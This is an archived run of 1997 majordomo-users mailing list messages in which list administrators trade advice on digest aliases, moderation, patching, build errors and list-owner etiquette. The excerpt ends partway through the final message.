mercury.Sun.COM (SMI-8.6/mail.byaddr) with SMTP id JAA26925 for ; Wed, 11 Jun 1997 09:51:44 -0700 Received: from suntri.East.Sun.COM by East.Sun.COM (SMI-8.6/SMI-5.3) id MAA03524; Wed, 11 Jun 1997 12:30:26 -0400 Received: from kibble by suntri.East.Sun.COM (SMI-8.6/SMI-SVR4) id MAA20686; Wed, 11 Jun 1997 12:30:24 -0400 Date: Wed, 11 Jun 1997 12:30:23 -0400 (EDT) From: "David G. Simmons - Java Technologist - Cary NC" Reply-To: "David G. Simmons - Java Technologist - Cary NC" Subject: Closed lists To: majordomo-users@greatcircle.com Message-ID: MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Content-MD5: maGZuDepdZhSa+DEZ4N8gg== X-Mailer: dtmail 1.1.0 CDE Version 1.1 SunOS 5.5.1 sun4u sparc Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk I have looked through the FAQ, and can't find how to do this -- looked thorugh the READMEs and Docs, too. ;-) I have set up a closed list -- one that only members can post to -- but non-members attempts to post are bounced to me, the list-owner. I would like to return to them a kind word that their mail was rejected, and what they can do about it. Any pointers to how to set this up would be greatly appreciated. David -- David G. Simmons, Java Technologist Voice: (919) 460-2966 125 Edinburgh South, Suite 105 FAX: (919) 481-1698 Cary, NC 27511 SunWeb: http://kibble.East/ Pager: (919) 271-6983 (Numeric, Text, or voicemail) Dave? Who's Dave? I'm not Dave! "I suppose there's a lesson in that." -Hobbes From owner-majordomo-users-outgoing Wed Jun 11 11:27:19 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA18640 for majordomo-users-outgoing; Wed, 11 Jun 1997 11:12:37 -0700 (PDT) Received: from lists.oulu.fi (lists.oulu.fi [130.231.241.85]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id LAA18608 for ; Wed, 11 Jun 1997 11:12:26 -0700 (PDT) Received: from localhost (mhotti@localhost) by lists.oulu.fi (8.8.6/8.8.6) with SMTP id VAA29092; Wed, 11 Jun 1997 21:12:48 +0300 Date: Wed, 11 Jun 1997 21:12:48 +0300 (EET DST) From: Marko Hotti To: Info-LabVIEW List Maintainer cc: majordomo-users@GreatCircle.COM Subject: Re: users posting directly to digest? In-Reply-To: <9706111314.aa25304@fsm-1.pica.army.mil> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Wed, 11 Jun 1997, Info-LabVIEW List Maintainer wrote: > OK. Now, how do I do this if I don't have root access to the machine? ???? Naturally the same way you make the other aliases needed. If you don't have access to your list aliases, ask the root to do it. :-) /Marko -- Marko Hotti Tel: +358-(0)8-530-4268 (home) Oulu University CSC / List Services Tel: +358-(0)40-552-8415 (work) Oulu * Finland http://www.lists.oulu.fi/ From owner-majordomo-users-outgoing Wed Jun 11 11:30:25 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA18149 for majordomo-users-outgoing; Wed, 11 Jun 1997 11:09:25 -0700 (PDT) Received: from lists.oulu.fi (lists.oulu.fi [130.231.241.85]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id LAA18127 for ; Wed, 11 Jun 1997 11:09:18 -0700 (PDT) Received: from localhost (mhotti@localhost) by lists.oulu.fi (8.8.6/8.8.6) with SMTP id VAA29075; Wed, 11 Jun 1997 21:10:25 +0300 Date: Wed, 11 Jun 1997 21:10:25 +0300 (EET DST) From: Marko Hotti To: majordomo-users@greatcircle.com cc: klarsen@panix.com Subject: Re: Moderating a digest In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Wed, 11 Jun 1997, Kent S. Larsen II wrote: > If I simply configure the digest list to be moderated, will the digests be > sent to me for approval? or will the digest program automatically approve > the digests? Correct me if I'm wrong: You want to moderate the digest which is compiled out of the moderated and approved articles on the normal list?? Why? I have two moderated lists with digests and all I do is moderate the normal list and then let the digestifier do the rest: listname: "|/usr/local/majordomo/wrapper resend -l listname listout \ list-digestify" listout::include:/usr/local/majordomo/lists/listname list-digestify: "|/usr/local/majordomo/wrapper digest -r -C -l \ listname-digest listdigest-out nobody" (and the other owner- -owner -approval etc. aliases) /Marko -- Marko Hotti Tel: +358-(0)8-530-4268 (home) Oulu University CSC / List Services Tel: +358-(0)40-552-8415 (work) Oulu * Finland http://www.lists.oulu.fi/ From owner-majordomo-users-outgoing Wed Jun 11 11:32:35 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA05119 for majordomo-users-outgoing; Wed, 11 Jun 1997 09:40:25 -0700 (PDT) Received: from fugue.chatham.org (fugue.chatham.org [206.160.163.1]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id JAA04844 for ; Wed, 11 Jun 1997 09:39:36 -0700 (PDT) Received: from localhost (dale@localhost) by fugue.chatham.org (8.8.5/8.8.5) with SMTP id LAA25439; Wed, 11 Jun 1997 11:40:17 -0500 Date: Wed, 11 Jun 1997 11:40:17 -0500 (CDT) From: "Dale J. Chatham" To: Info-LabVIEW List Maintainer cc: majordomo-users@GreatCircle.COM Subject: Re: users posting directly to digest? In-Reply-To: <9706111154.aa23938@fsm-1.pica.army.mil> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Sure, set the alias for list-digest to be list list-digest: list Dale On Wed, 11 Jun 1997, Info-LabVIEW List Maintainer wrote: > I help admin a list which has 2 variants, individual msg (list@site) and > digest (list-digest@site). Any known way, using majordomo 1.9.4, to keep > people from successfully sending mail to list-digest? > > Thanks... > > Tom Coradeschi, Info-LabVIEW List Maintainer > > http://k-whiner.pica.army.mil/info-labview/info-labview.html > _ (__________) ``Necessity is the plea for every infringement _.| |_ /( oo of human freedom. It is the argument of tyrants; \. } /\_| it is the creed of slaves.'' \_( William Pitt, Earl of Chatham speech in the House of Lords, November 18, 1783 Dale J. Chatham, WA5WNI dale@chatham.org Member PETA (People Eating Tasty Animals) http://www.chatham.org From owner-majordomo-users-outgoing Wed Jun 11 11:33:56 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA05573 for majordomo-users-outgoing; Wed, 11 Jun 1997 09:42:05 -0700 (PDT) Received: from londo.prescienttech.com (londo.prescienttech.com [199.103.216.62]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id JAA05412 for ; Wed, 11 Jun 1997 09:41:35 -0700 (PDT) Received: from gkar.prescienttech.com (gkar.prescienttech.com [111.17.19.1]) by londo.prescienttech.com (8.8.5/8.8.5) with ESMTP id MAA30871 for ; Wed, 11 Jun 1997 12:42:40 -0400 Received: (from ratinox@localhost) by gkar.prescienttech.com (8.8.5/8.8.5) id MAA04708; Wed, 11 Jun 1997 12:42:40 -0400 From: Rich Pieri To: majordomo-users@greatcircle.com Subject: Re: users posting directly to digest? References: <9706111154.aa23938@fsm-1.pica.army.mil> X-No-Archive: yes Date: 11 Jun 1997 12:42:39 -0400 In-Reply-To: Info-LabVIEW List Maintainer's message of "Wed, 11 Jun 97 11:54:11 EDT" Message-ID: Lines: 28 X-Mailer: Gnus v5.4.56/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- >>>>> "ILM" == Info-LabVIEW List Maintainer >>>>> writes: ILM> I help admin a list which has 2 variants, individual msg (list@site) and ILM> digest (list-digest@site). Any known way, using majordomo 1.9.4, to keep ILM> people from successfully sending mail to list-digest? Point your list-digest alias back at list, as described in the documentation. -----BEGIN PGP SIGNATURE----- Version: 4.0 Business Edition Charset: noconv iQCVAwUBM57VfJ6VRH7BJMxHAQFXoAP/drX//61xRbt8udoPzXVTbvbFbd+dVj1R SwU7pPT/plesA6G8AcDcCY2wN1Y1vYvT6mF+yh+c40fTUcyz8Jta5HZAbAh3ynGE cD3ZEAE21cSNF84X7VVIfL5J5fFXLJuyUkScky/KHC+gdC74mIa9QvWhXh2tyxqL 8HHn3nr9XpE= =92sY -----END PGP SIGNATURE----- -- Rich Pieri | Happy Fun Ball contains a liquid Prescient Technologies, Inc. | core, which, if exposed due to A Stone & Webster Company | rupture, should not be touched, I speak for myself, not PTI or SWEC | inhaled, or looked at. From owner-majordomo-users-outgoing Wed Jun 11 11:36:11 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id KAA09888 for majordomo-users-outgoing; Wed, 11 Jun 1997 10:09:29 -0700 (PDT) Received: from sparkie.osl.state.or.us (sparkie.osl.state.or.us [192.84.215.34]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id KAA09870 for ; Wed, 11 Jun 1997 10:09:22 -0700 (PDT) Received: (from chris@localhost) by sparkie.osl.state.or.us (8.6.9/8.6.9) id KAA08025; Wed, 11 Jun 1997 10:09:13 -0700 Date: Wed, 11 Jun 1997 10:09:12 -0700 (PDT) From: Christopher Adams To: Jason L Tibbitts III cc: majordomo-users@GreatCircle.COM Subject: Re: patches to 1.94.3 In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk I issued the command "patch majordomo.pl majordomo.pl.0" and got the below results: $ patch majordomo.pl majordomo.pl.0 Hmm... Looks like a unified diff to me... The text leading up to this was: -------------------------- | |--- majordomo.pl.orig Wed Apr 2 08:04:14 1997 |+++ majordomo.pl Tue May 20 09:26:55 1997 -------------------------- Patching file majordomo.pl using Plan A... Hunk #1 failed at 707. Hunk #2 failed at 729. patch: **** malformed patch at line 43: t); On 10 Jun 1997, Jason L Tibbitts III wrote: > Date: 10 Jun 1997 23:08:57 -0500 > From: Jason L Tibbitts III > To: Christopher Adams > Cc: majordomo-users@GreatCircle.COM > Subject: Re: patches to 1.94.3 > > >>>>> "CA" == Christopher Adams writes: > > CA> I am looking at the majordomo.pl.0 patch, and now I see that - means > CA> delete and + must mean add. So, what does @@ -707,17 +707,18 @@ mean? > > They're line numbers (start of block, length). But I really have to ask: > why on Earth are you doing this by hand? Just use the patch command. It > automatically makes all of the changes for you. Get it (or a pointer to > another site where you can get it) from prep.ai.mit.edu:/pub/gnu/, if it > isn't already installed on your system. > > - J< > From owner-majordomo-users-outgoing Wed Jun 11 11:41:05 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA22783 for majordomo-users-outgoing; Wed, 11 Jun 1997 11:37:11 -0700 (PDT) Received: from mail2.panix.com (mail2.panix.com [198.7.0.33]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id LAA22749 for ; Wed, 11 Jun 1997 11:36:57 -0700 (PDT) Received: from [38.217.47.2] ([38.217.47.2]) by mail2.panix.com (8.8.5/8.7.1/PanixM1.0) with ESMTP id OAA16703 for ; Wed, 11 Jun 1997 14:31:58 -0400 (EDT) Message-Id: In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Date: Wed, 11 Jun 1997 14:25:08 -0500 To: majordomo-users@greatcircle.com From: "Kent S. Larsen II" Subject: Re: Moderating a digest Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk At 9:10 PM +0300 on 6/11/97, Marko Hotti wrote: > On Wed, 11 Jun 1997, Kent S. Larsen II wrote: > > > If I simply configure the digest list to be moderated, will the digests = be > > sent to me for approval? or will the digest program automatically approv= e > > the digests? > > Correct me if I'm wrong: You want to moderate the digest which is compiled > out of the moderated and approved articles on the normal list?? Why? > Because I want to make changes to the digest before it goes out. The question is still open. Will the digests get sent to me first, or will they go out? Kent Kent S. "Kip" Larsen II; KLarsen@panix.com or KLarsen@NorthSouth.com (work). Pass the SPAM ban! Ask your Congressperson to support CAUCE http://www.cauce.org From owner-majordomo-users-outgoing Wed Jun 11 11:44:52 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA07442 for majordomo-users-outgoing; Wed, 11 Jun 1997 09:52:10 -0700 (PDT) Received: from miles.greatcircle.com (miles.greatcircle.com [198.102.244.34]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id JAA07190 for ; Wed, 11 Jun 1997 09:51:22 -0700 (PDT) Received: from nimbus.planet.com.mx (nimbus.planet.com.mx [167.114.25.68]) by miles.greatcircle.com (8.8.5/Miles-970308-2) with ESMTP id JAA29322 for ; Wed, 11 Jun 1997 09:36:30 -0700 (PDT) Received: from localhost (ediaz@localhost) by nimbus.planet.com.mx (8.8.5/8.8.5) with SMTP id LAA32324; Wed, 11 Jun 1997 11:34:22 -0500 Date: Wed, 11 Jun 1997 11:34:22 -0500 (CDT) From: "J. Enrique Diaz Jolly" To: Mitchell Leben cc: majordomo-users@GreatCircle.COM Subject: Re: Posting to own lists? In-Reply-To: Message-ID: Organization: Interplanet SA de CV MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Wed, 11 Jun 1997, Mitchell Leben wrote: > Is there any general wisdom on the netiquette of posting to a list that > one runs? Seems to me that usually the lists admins are rather quiet and > only speak up when there is a problem or issue concerning the list. It is in no relation to netiquette, if a List you are running is about a subject that you are interested on (the main reason someone runs a list), and you are able to make valuable aports, well, nothing more to be said. Just imagine, this list, if your question would apply, we wouldn't have the valuable apport of most of majordomo developers. It would be silly. I run several lists, on some of them, in which I am interested i write and participate often while other lists I am not interested on I just manage them. Forever is going to start... right now!!! ============================================================================== Jose Enrique Diaz Jolly e-mail: ediaz@planet.com.mx Interplanet +52(5)539-4142 jedj@mexicomail.com http://www.planet.com.mx e.diaz-jolly@ieee.org ============================================================================== From owner-majordomo-users-outgoing Wed Jun 11 11:52:38 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA03732 for majordomo-users-outgoing; Wed, 11 Jun 1997 09:35:13 -0700 (PDT) Received: from mailhost2.BayNetworks.COM (ns1.BayNetworks.COM [134.177.3.20]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id JAA03630 for ; Wed, 11 Jun 1997 09:34:51 -0700 (PDT) Received: from mailhost.BayNetworks.COM ([134.177.1.107]) by mailhost2.BayNetworks.COM (8.8.5/BNET-97/05/05-E) with ESMTP id JAA17660; Wed, 11 Jun 1997 09:31:27 -0700 (PDT) for Received: from pobox.engeast.BayNetworks.COM (pobox.corpeast.baynetworks.com [192.32.151.199]) by mailhost.BayNetworks.COM (8.8.5/BNET-97/06/05-I) with ESMTP id JAA01878; Wed, 11 Jun 1997 09:35:54 -0700 (PDT) for Posted-Date: Wed, 11 Jun 1997 09:35:54 -0700 (PDT) Received: from guardian.engeast (guardian [192.32.173.80]) by pobox.engeast.BayNetworks.COM (SMI-8.6/BNET-97/04/24-S) with SMTP id MAA21607; Wed, 11 Jun 1997 12:35:53 -0400 for Received: from guardian (localhost) by guardian.engeast (4.1/SMI-4.1) id AA10062; Wed, 11 Jun 97 12:33:42 EDT Message-Id: <339ED365.4487EB71@baynetworks.com> Date: Wed, 11 Jun 1997 12:33:41 -0400 From: Stephen Glenfield Organization: Bay Networks X-Mailer: Mozilla 3.01Gold (X11; I; SunOS 4.1.4 sun4m) Mime-Version: 1.0 To: majordomo-users@GreatCircle.COM Subject: gcc problems in Majordomo set up Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Hello: I'm having a problem with gcc while attempting the make wrapper command in preparation for installing Majordomo. I've placed the proper path in my LD_LIBRARY_PATH, and I've changed permission on the files to 777, but I still get the same errors. Can you tell me what I'm doing wrong? Thanks, Steve ------------- # make wrapper gcc-2.7.2.1/solaris/bin/gcc -DBIN=\"/home1/majordomo\" -DPATH=\"PATH=/bin:/usr/bin:/usr/ucb\" -DHOME=\"HOME=/home1/majordomo\" -DSHELL=\"SHELL=/bin/sh\" -DMAJORDOMO_CF=\"MAJORDOMO_CF=/home1/majordomo/majordomo.cf\" -DPOSIX_UID=2173 -DPOSIX_GID=800 -o wrapper wrapper.c ld: fatal: file crt1.o: cannot open file; errno=2 ld: fatal: file crti.o: cannot open file; errno=2 ld: fatal: file crtbegin.o: cannot open file; errno=2 ld: fatal: file crtend.o: cannot open file; errno=2 ld: fatal: file crtn.o: cannot open file; errno=2 ld: fatal: File processing errors. No output written to wrapper make: *** [wrapper] Error 1 -- Stephen M. Glenfield sglenfie@baynetworks.com From owner-majordomo-users-outgoing Wed Jun 11 11:57:17 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA18395 for majordomo-users-outgoing; Wed, 11 Jun 1997 11:11:20 -0700 (PDT) Received: from ns.intelenet.net (intelenet.net [204.182.160.1]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id LAA18352 for ; Wed, 11 Jun 1997 11:11:05 -0700 (PDT) Received: from cueball (cueball.intelenet.net [207.38.65.9]) by ns.intelenet.net (8.8.5/8.8.5) with SMTP id LAA12463; Wed, 11 Jun 1997 11:12:08 -0700 (PDT) Message-ID: <339EEA75.5F00@intelenet.net> Date: Wed, 11 Jun 1997 11:12:05 -0700 From: Bob Myers Organization: InteleNet Communications, Inc. X-Mailer: Mozilla 3.01 (X11; I; SunOS 5.5.1 sun4c) MIME-Version: 1.0 To: Mitchell Leben CC: majordomo-users@GreatCircle.COM Subject: Re: Posting to own lists? References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Mitchell Leben wrote: > > Is there any general wisdom on the netiquette of posting to a list that > one runs? Seems to me that usually the lists admins are rather quiet and > only speak up when there is a problem or issue concerning the list. I don't think there's any general netiquette on this. However, it *is* easier to moderate discussions that get out of hand if the list admin is neutral. I've regretted getting involved in heated discussions on some of my lists because I felt it compromised my ability to step in and cool things off. -- Bob Myers InteleNet Communications, Inc. Email: bob@InteleNet.net 18101 Von Karman Avenue, Suite 550 Phone: 714-851-8250 x227 Irvine, CA 92612 Fax: 714-851-1088 http://www.intelenet.net/ From owner-majordomo-users-outgoing Wed Jun 11 12:09:05 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA21536 for majordomo-users-outgoing; Wed, 11 Jun 1997 11:30:13 -0700 (PDT) Received: from terrania.westfalen.de (terrania.westfalen.de [195.52.199.238]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id LAA21427 for ; Wed, 11 Jun 1997 11:29:44 -0700 (PDT) Received: from localhost by terrania.westfalen.de via sendmail with smtp id for ; Wed, 11 Jun 1997 20:30:42 +0200 (CEST) (Smail-3.2 1996-Jul-4 #1 built 1996-Nov-18) Date: Wed, 11 Jun 1997 20:30:42 +0200 (CEST) From: Daniel Schneider To: majordomo-users@GreatCircle.COM Subject: Re: digests and subject prefixes In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Hi Peter, On Wed, 11 Jun 1997, Peter Zenge wrote: > Like many people, we choose to prefix the subject line with [listname] for > individual posts. I'm playing around with digests now, and the > subject-line listing is really ugly because of that prefix on each line. > Is there an easy patch to allow stripping the prefix out of the subject > lines as the digest is generated? Or should I just call an external shell > script to do it for me as the digest is being created? Someone must have > done this before... I would be interested in a solution too. And I want to add a similar question: To all messages I attach a footer that explains how to unsubscribe. This footer appears in all messages in the digest, although I would like it if it could only appear at the end of the digest. I know how to append a footer to the digest but how can I delete all the single-message footers when the messages are compiled into a digest? Daniel Schneider http://www.westfalen.de/terrania/ http://www.westfalen.de/terrania/english.html (English) From owner-majordomo-users-outgoing Wed Jun 11 12:11:40 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA20874 for majordomo-users-outgoing; Wed, 11 Jun 1997 11:26:54 -0700 (PDT) Received: from londo.prescienttech.com (londo.prescienttech.com [199.103.216.62]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id LAA20539 for ; Wed, 11 Jun 1997 11:25:15 -0700 (PDT) Received: from gkar.prescienttech.com (gkar.prescienttech.com [111.17.19.1]) by londo.prescienttech.com (8.8.5/8.8.5) with ESMTP id OAA00374 for ; Wed, 11 Jun 1997 14:26:17 -0400 Received: (from ratinox@localhost) by gkar.prescienttech.com (8.8.5/8.8.5) id OAA07532; Wed, 11 Jun 1997 14:26:17 -0400 From: Rich Pieri To: majordomo-users@greatcircle.com Subject: Re: digests and subject prefixes References: X-No-Archive: yes Date: 11 Jun 1997 14:26:16 -0400 In-Reply-To: peter.zenge@virtus.com's message of "Wed, 11 Jun 1997 14:06:08 -0500" Message-ID: Lines: 27 X-Mailer: Gnus v5.4.56/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- >>>>> "PZ" == Peter Zenge writes: PZ> Or should I just call an external shell script to do it for me as the PZ> digest is being created? You could stop using those [useless because every mail filter in existance can filter on To and Sender headers] tags and eliminate the problem entirely. -----BEGIN PGP SIGNATURE----- Version: 4.0 Business Edition Charset: noconv iQCVAwUBM57tw56VRH7BJMxHAQHjOQP/a+9H95nRKnVnn2FgUtKHAX2CAx+v/9xx jwyoaEZkOJURj+Uo6R5Kzx1T791lrS4HHBen0GE9ZXa2I2FgwjtaCx+AE8NrOO99 leAiOAofNznTfx2OZqT0m5k2itXCJKBcIQoGxIDOGV9dXtIvRaEqe43c2+1P0FMA GLHRRpiCtpE= =iPDq -----END PGP SIGNATURE----- -- Rich Pieri | Happy Fun Ball may stick to certain Prescient Technologies, Inc. | types of skin. A Stone & Webster Company | I speak for myself, not PTI or SWEC | From owner-majordomo-users-outgoing Wed Jun 11 12:16:38 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id MAA27052 for majordomo-users-outgoing; Wed, 11 Jun 1997 12:10:12 -0700 (PDT) Received: from panix4.panix.com (panix4.panix.com [198.7.0.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id MAA27026 for ; Wed, 11 Jun 1997 12:10:01 -0700 (PDT) Received: (from askanas@localhost) by panix4.panix.com (8.8.5/8.7/PanixU1.3) id PAA23628; Wed, 11 Jun 1997 15:11:07 -0400 (EDT) Date: Wed, 11 Jun 1997 15:11:07 -0400 (EDT) From: malgosia askanas Message-Id: <199706111911.PAA23628@panix4.panix.com> To: klarsen@panix.com, majordomo-users@GreatCircle.COM Subject: Re: Moderating a digest Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk > The question is still open. Will the digests get sent to me first, or will > they go out? They will simply go out. I don't think there is any straightforward way of doing what you want to do. -malgosia From owner-majordomo-users-outgoing Wed Jun 11 12:34:03 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id MAA28867 for majordomo-users-outgoing; Wed, 11 Jun 1997 12:20:00 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id MAA28850 for ; Wed, 11 Jun 1997 12:19:49 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id OAA09778; Wed, 11 Jun 1997 14:20:52 -0500 (CDT) To: Info-LabVIEW List Maintainer Cc: majordomo-users@GreatCircle.COM Subject: Re: users posting directly to digest? References: <9706111314.aa25304@fsm-1.pica.army.mil> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 11 Jun 1997 14:20:52 -0500 In-Reply-To: Info-LabVIEW List Maintainer's message of Wed, 11 Jun 97 13:14:21 EDT Message-ID: Lines: 11 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >>>>> "ILM" == Info-LabVIEW List Maintainer writes: ILM> OK. Now, how do I do this if I don't have root access to the machine? Not possible, unless you can write to the aliases file. The "digest" program isn't a mailing list manager; it doesn't have security or anything else. It takes messages on standard in and builds them into digests, sending one whenever necessary. If the aliases allow anyone to provide a message on standard in, then digest will happily accept them. - J< From owner-majordomo-users-outgoing Wed Jun 11 12:40:41 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA18796 for majordomo-users-outgoing; Wed, 11 Jun 1997 11:14:05 -0700 (PDT) Received: from gate.insite.co.uk (gate.insite.co.uk [193.123.212.10]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id LAA18786 for ; Wed, 11 Jun 1997 11:13:55 -0700 (PDT) Received: from picard.insite.co.uk (picard.verity.com [192.168.70.35]) by gate.insite.co.uk (8.6.9/8.6.12) with SMTP id SAA26705 for ; Wed, 11 Jun 1997 18:14:04 GMT Received: by picard.insite.co.uk with SMTP (Microsoft Exchange Server Internet Mail Connector Version 4.0.994.63) id <01BC7693.663B6590@picard.insite.co.uk>; Wed, 11 Jun 1997 18:15:10 -0000 Message-ID: From: Peter Bowyer To: "'majordomo-users@greatcircle.com'" Subject: RE: users posting directly to digest? Date: Wed, 11 Jun 1997 18:15:04 -0000 X-Mailer: Microsoft Exchange Server Internet Mail Connector Version 4.0.994.63 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk You ask the person who does? >---------- >From: Info-LabVIEW List Maintainer[SMTP:info-labview-request@pica.army.mil] >Sent: Wednesday, June 11, 1997 5:14 PM >To: majordomo-users@greatcircle.com >Subject: Re: users posting directly to digest? > >>On Wed, 11 Jun 1997, Info-LabVIEW List Maintainer wrote: >> >>> I help admin a list which has 2 variants, individual msg (list@site) and >>> digest (list-digest@site). Any known way, using majordomo 1.9.4, to keep >>> people from successfully sending mail to list-digest? >> >>set the alias for list-digest to be list >> >>list-digest: list > >OK. Now, how do I do this if I don't have root access to the machine? > > Tom Coradeschi, Info-LabVIEW List Maintainer > > http://k-whiner.pica.army.mil/info-labview/info-labview.html > From owner-majordomo-users-outgoing Wed Jun 11 12:57:33 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id MAA04490 for majordomo-users-outgoing; Wed, 11 Jun 1997 12:46:55 -0700 (PDT) Received: from jester.ti.com (jester.ti.com [192.94.94.1]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id MAA04327 for ; Wed, 11 Jun 1997 12:46:25 -0700 (PDT) Received: from ernest.itg.ti.com ([172.25.52.246]) by jester.ti.com (8.8.5) with SMTP id OAA06501; Wed, 11 Jun 1997 14:47:08 -0500 (CDT) Received: by ernest.itg.ti.com (Smail3.1.28.1 #4) id m0wbtKH-0000KMC; Wed, 11 Jun 97 14:45 CDT Message-Id: From: alan@ernest.itg.ti.com (Alan Edmonds) Subject: Re: digests and subject prefixes In-Reply-To: from Daniel Schneider at "Jun 11, 97 08:30:42 pm" To: daniel@terrania.westfalen.de (Daniel Schneider) Date: Wed, 11 Jun 1997 14:44:59 -0500 (CDT) Cc: majordomo-users@GreatCircle.COM Organization: Texas Instruments, Inc. Plano TX X-Mailer: ELM [version 2.4ME+ PL26 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk I want the same thing; strip the individual fronter/footer before digesting and strip the [listname] from the subjects in the digest. I'm just thinking out loud here, what if the messages were archived before the message_fronter and message_footer were added? Then when digested, they wouldn't be present. I don't think the message_fronter and message_footer are that important when saving archive copies. -- Alan Edmonds, KB5ZUY Texas Instruments, Inc. System Administrator, Composer Development M/S 8515 Phone: +1-972-575-6427 6620 Chase Oaks Blvd. Email: Alan.Edmonds@ti.com Plano, TX, USA 75023 From owner-majordomo-users-outgoing Wed Jun 11 13:05:23 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA24536 for majordomo-users-outgoing; Wed, 11 Jun 1997 11:48:30 -0700 (PDT) Received: from sportsurf.net (sportsurf.net [192.41.36.58]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id LAA24513 for ; Wed, 11 Jun 1997 11:48:24 -0700 (PDT) Received: from [192.204.56.156] (sss.pittsburgh.net [192.204.56.156]) by sportsurf.net (8.8.5) id MAA10037; Wed, 11 Jun 1997 12:49:31 -0600 (MDT) Message-Id: <199706111849.MAA10037@sportsurf.net> X-Authentication-Warning: sportsurf.net: Host sss.pittsburgh.net [192.204.56.156] claimed to be [192.204.56.156] Subject: Re: Posting to own lists? Date: Wed, 11 Jun 97 14:58:22 -0000 x-sender: mark@sportsurf.net x-mailer: Claris Emailer 1.1 From: Mark Rauterkus To: Mime-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Hi, Good points: >> It's fully up to each person. .... >Just be careful not to get too personally involved with alot of list >members, I find it harder to send "warnings" to those that are "friends" >and some seem to push the rules a little bit more if they think they are >special. ... Hi, One of my "insiders" had an inspired suggestion -- and I'm going to share it with you all, as it is so good that it might set a new "standard." I don't like the term: List-Owner I had been using the term: List-Mom Inspired to switch over to a new term: List-Clerk Question from a dumb-american to the multi-lingual others around the world, is there any translation for 